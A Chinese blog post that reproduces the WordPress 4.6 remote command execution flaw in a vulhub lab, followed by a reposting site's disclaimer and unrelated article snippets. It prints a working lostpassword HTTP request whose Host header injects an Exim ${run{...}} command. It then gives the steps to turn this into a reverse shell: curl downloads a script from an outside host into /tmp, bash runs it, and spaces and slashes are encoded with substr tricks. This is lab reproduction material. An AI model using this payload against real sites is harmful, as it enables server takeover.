vulhub中Wordpress 4.6 任意命令执行漏洞复现

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。

  2. 命令会被转换成小写字母

  3. 命令需要使用绝对路径

  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:

    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径

    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)

  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce

  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)

  • 依次发送这两个拼接好的数据包

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/509125.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【EI会议征稿通知】第四届控制与智能机器人国际学术会议(ICCIR 2024)

第四届控制与智能机器人国际学术会议(ICCIR 2024) 2024 4th International Conference on Control and Intelligent Robotics 第四届控制与智能机器人国际学术会议(ICCIR 2024)由华南理工大学自动化科学与工程学院主办&#xff…

从零开始学习Netty - 学习笔记 -Netty入门【半包,黏包】

Netty进阶 1.黏包半包 1.1.黏包 服务端代码 public class HelloWorldServer {private static final Logger logger LoggerFactory.getLogger(MethodHandles.lookup().lookupClass());public static void main(String[] args) {NioEventLoopGroup bossGroup new NioEventL…

Zookeeper3:客户端命令

文章目录 客户端命令连接服务端Zookeeper客户端内置命令 ls - 节点信息 客户端命令 连接服务端Zookeeper //客户端连接服务端zookeeper 默认连的本机2181端口的zookeeper cd /opt/module/zookeeper-3.9.1/bin && sh zkCli.sh//客户端连接远程服务端zookeeper cd /op…

斐波那契数列模型---解码方法

91. 解码方法 - 力扣(LeetCode) 同理:60也无法解码 1、状态表示: 根据经验 题目要求:以i位置为结尾,然后”巴拉巴拉“。则dp[i]表示,以i位置为结尾时,解码方法的总数。 2、状态转…

YOLOv9独家原创改进|使用DySample超级轻量的动态上采样算子

专栏介绍:YOLOv9改进系列 | 包含深度学习最新创新,主力高效涨点!!! 一、DySample论文摘要 尽管最近的基于内核的动态上采样器如CARAFE、FADE和SAPA取得了令人印象深刻的性能提升,但它们引入了大量的工作量&…

项目解决方案: 实时视频拼接方案介绍(下)

目 录 1.实时视频拼接概述 2.适用场景 3.系统介绍 4.拼接方案介绍 4.1基于4K摄像机的拼接方案 4.2采用1080P平台3.0 横向拼接 4.3纵横兼顾,竖屏拼接 5.前端选择及架设 5.1前端架设原则 5.1.1安装示意图 5.1.2安装调试基本原则 5.2摄像机及支架 5.…

C++面试宝典第34题:整数反序

题目 给出一个不多于5位的整数, 进行反序处理。要求: 1、求出它是几位数。 2、分别输出每一位数字。仅数字间以空格间隔, 负号与数字之间不需要间隔。如果是负数,负号加在第一个数字之前, 与数字没有空格间隔。注意:最后一个数字后没有空格。 3、按逆序输出各位数字。逆序后…

安卓虚拟机ART和Dalvik

目录 一、JVM和Dalvik1.1 基于栈的虚拟机字节码指令执行过程 1.2 基于寄存器的虚拟机 二、ART与Dalvikdex2aotAndroid N的运作方式 三、总结 一、JVM和Dalvik Android应用程序运行在Dalvik/ART虚拟机,并且每一个应用程序对应有一个单独的Dalvik虚拟机实例。 Dalvik…

猫耳语音下载(mediadown)

猫耳语音下载(mediadown) 一、介绍 猫耳语音下载,能够帮助你下载猫耳音频节目。如果你是会员,它还能帮你下载会员节目。 二、下载地址 下载:猫耳语音下载(mediadown) 百度网盘下载:猫耳语音下载(mediadown) 三、安装教程 将下载的文件解压到D:\xibinhui,D:\Pr…

计算机视觉基础知识(一)--数学基础

向量 线性变换 矩阵 充满数字的表格 矩阵加减法 要满足两个矩阵的行数与列数一致;加法交换律:ABBA 矩阵乘法 要满足A的列数等于B的行数; 单位矩阵 是一个nxn矩阵;从左到右对角线上的元素值为1;其余元素为0;A为nxn矩阵,I为单位矩阵,;单位矩阵在乘法中的作用相当于数字1; 逆矩…

CSS列表属性

CSS列表属性 列表相关的属性&#xff0c;可以作用在 ul、ol、li 元素上。 代码如下&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>列表相关属性</title><style>ul {/* …

SwiftUI中Alert与ActionSheet的集成

在SwiftUI中&#xff0c;Alert和ActionSheet是两个用于显示提示信息和选项的组件。Alert用于显示简单的提示信息&#xff0c;而ActionSheet用于显示多个选项供用户选择。 要在SwiftUI中使用Alert&#xff0c;首先需要在视图中定义一个State属性来存储是否显示Alert&#xff0c…